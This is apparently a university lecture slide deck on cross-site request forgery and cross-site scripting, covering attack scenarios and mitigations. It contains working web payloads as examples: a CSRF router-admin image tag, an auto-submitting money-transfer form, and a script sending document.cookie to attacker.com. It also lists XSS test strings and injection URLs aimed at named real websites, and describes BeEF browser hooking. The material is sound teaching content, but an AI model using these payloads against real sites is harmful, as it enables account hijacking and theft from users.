CSC 482/582: Computer Security

1. CSC 482/582: Computer Security Cross-Site Security

2. Topics • Cross-Site Request Forgery • Mitigating CSRF. • Cross-Site Scripting (XSS) • Mitigating XSS.

3. Cross-Site Attacks Target users of application. • Web browsers cache authentication credentials and re-use them with requests to same origin. • Attackers useapplication to reach target users. • Attack obtains assets of individual users rather than assets of entire application. Most common type of attack. • Cross-Site Request Forgery (CSRF) • Cross-Site Scripting (XSS)

4. Cross-Site Request Forgery A confused deputy attack. • Exploits trust that application has with authentication sessions. Attack scenario: • User authenticates to web application. • User browses to another site containing a malicious CSRF attack link to web app. • iframe, img, link, bgsound, etc. • Browser accesses web app with cached credentials, performing whatever action specified by the link.

5. Example: DSL Modem Attack Home network devices administered via web apps. • Standard local IPs. Attacker inserts 1-pixel img tag on page. • src is URL of form submission, giving remote admin. No password needed. • Software owner assumed device on trusted local network. • Of course, browser is on the local network too. <imgsrc= "http://192.168.1.254/Forms/remoteRES_1?NSS_RemotePassword=blehblah&NSS_EnableWANAdminAccessRES=on&timeoutDisable=0&Enable=Enable" alt="" width="1" height="1" />

6. Example: POST-based CSRF Send following HTML to user: <form name="csrfForm" action="http://www.secureBank.ie/sendMoney" method="POST"> <input type="hidden" name="giveMoneyTo" value="hacker" /> <input type="hidden" name="giveAmount" value="1000" /> <input type="submit"/> </form> <script> document.csrfForm.submit(); </script>

7. Ineffective CSRF Mitigations Require POST for data modifications, but • Many frameworks automatically fetch both types of parameters or convert one to other. • Hidden POST requests can be created with scripts. Check referer header. • But users can block or forge referer header, so it cannot be relied on for everyone.

8. Effective CSRF Mitigations Use nonces. • Random token inserted as hidden parameter, and thus submitted with form. • But XSS can read form, so a combined XSS + CSRF attack can bypass this defense. Re-authenticate for high value transactions. • Use out of band authentication if possible. Expire session IDs quickly. • But there will always be some time period in which a CSRF attack will work. Automate defenses with tools. • CSRFGuard to insert nonces. • CSRFTester to verify application.

9. Cross-Site Scripting (XSS) • Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing. • Impact of XSS • Account hijacking. • Browser hijacking (malware hosting.) • Information leakage (stored form values, etc.) • Virtual defacement.

10. XSS Examples FF.net worm (October 2018) • If you view an infected profile, your profile infected. • Similar to Samy’sMySpace XSS worm in 2006. Paypal (2018) • Tech support site allowed anonymous (but not authenticated) users to upload files in any format without input validation, including XSS content. Mass Defacement (2015-2018) • Billy Ribeiro Anderson pled guilty after illegally accessing and defacing 11,000 web sites, including using XSS to defect West Point’s Combating Terrorism Center web site.

11. XSS Key Steps • Attacker sends code to web application. • Legitimate user accesses web app. • Web app sends attacker code to user. • User’s browser executes code.

12. XSS Example Client browser sends an error message to the web server. https://example.com/error.php?message=Sorry%2C+an +error+occurred

13. XSS Example The error message is “reflected” back from the Web server to the client in a web page.

14. XSS Example We can replace the error with JavaScript https://example.com/error.php?message=<script>alert(‘xss’);</script>

15. Exploiting the Example • User logins in and is issued a cookie • Attacker feed the URL to user https://example.com/error.php?message=<script>var+i=new+Image;+i.src=“http://attacker.com/”%2bdocument.cookie;</script>

16. Why does XSS Work? Same-Origin Policy • Browser only allows Javascript from site X to access cookies and other data from site X. • Attacker needs to make attack come from site X. Vulnerable Server Program • Any program that returns user input without filtering out dangerous code.

17. Reflected XSS Attack Scenario • User clicks on link. • Injected script returned by one-time message from vulnerable site. • User browser executes injected code. Limitations • Non-persistent. Only works when user clicks. • Most common type of XSS (~75%).

18. Anatomy of an XSS Attack Web Server 8. Attacker hijacks user session. 1. Login Attacker User 2. Cookie 5. XSS URL 3. XSS Attack 6. Page with injected code. 7. Browser runs injected code. 4. User clicks on XSS link. Evil site saves ID.

19. XSS Testing Strings Use strings that use JavaScript in different contexts. • <script>alert(document.cookie);</script> • <script src=http://www.example.com/malicious-code.js></script> • <imgsrc="javascript:alert(‘xss');"> • <imgsrc=# onmouseover="alert(‘xss')"> • … and many other ways to run JavaScript. Use URL and other encodings to bypass input filters. • See XSS_Filter_Evasion_Cheat_Sheet

20. XSS URL Examples http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script> http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

21. Stored XSS Injected script stored in • Post or comment. • Review. • Uploaded file. User views page with injected script. • Malicious action is taken while user is logged into site where malware found. • Not technically cross-site. Attack persists until injected code deleted.

22. DOM-based XSS Attack scenario • User clicks on URL with crafted Javascript. • Application’s client code extracts data from URL and dynamically updates page with it. • User browser executes crafted Javascript that was inserted in the page. Exploits vulnerability in client code. • Server does not reflect or store evil Javascript.

23. Browser Exploitation Framework BeEF hooks browsers via XSS exploit • Can use as stored or reflected XSS. • Hooked browsers are bots controlled by BeEF. Exploitation modules run on hooked browsers to • View browsing history. • Identify authenticated sessions. • Phishing and other social engineering attacks. • Port scans of network browser is running on. • Reverse proxy into network browser is running on. • Use Metasploit.

24. BeEF Screenshot

25. Mitigating XSS Two main approaches: • Output encoding. HTML entity encode all output to remove script tags and the like. Note that output encoding is context specific. If output goes inside a <script> tag or inside tags that can call JavaScript, different encoding is needed than outside such tags., • Input validation. Reject user input with HTML or reject user input that isn’t limited to a safe subset of HTML. Use encoding libraries where possible, like • Microsoft Anti-Cross Site Scripting Library for .NET • OWASP Java Encoder Project

26. References • Daswaniet. al., Foundations of Security, Apress, 2007. • Seth Fogie et. al., XSS Attacks: Cross-Site Scripting Exploits and Defense, Syngress, 2007. • JakobKallin and Irene Lobo Valbuena. Excess XSS: A comprehensive tutorial on cross-site scripting. https://excess-xss.com/ • Nathan, http://www.neohaxor.org/2008/12/01/csrf-vulns-on-local-network-devices/, 2008. • OWASP. XSS Filter Evasion Cheat Sheet. • Stuttartand Pinto, The Web Application Hacker’s Handbook, 2ndedition, Wiley, 2011. • Michal Zalewski, The Tangled Web: A Guide to Securing Modern Web Applications, No Starch Press, 2012.

27. Released under CC BY-SA 3.0 • All slides in this presentation unless otherwise noted are released under the Creative Commons Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0) license • You are free: • to Share — to copy and redistribute the material in any medium • to Adapt— to remix, build, and transform upon the material • to use part or all of this presentation in your own classes • Under the following conditions: • Attribution — You must attribute the work to James Walden, but cannot do so in a way that suggests that he endorses you or your use of these materials. • Share Alike — If you remix, transform, or build upon this material, you must distribute the resulting work under this or a similar open license. • Details and full text of the license can be found at https://creativecommons.org/licenses/by-nc-sa/3.0/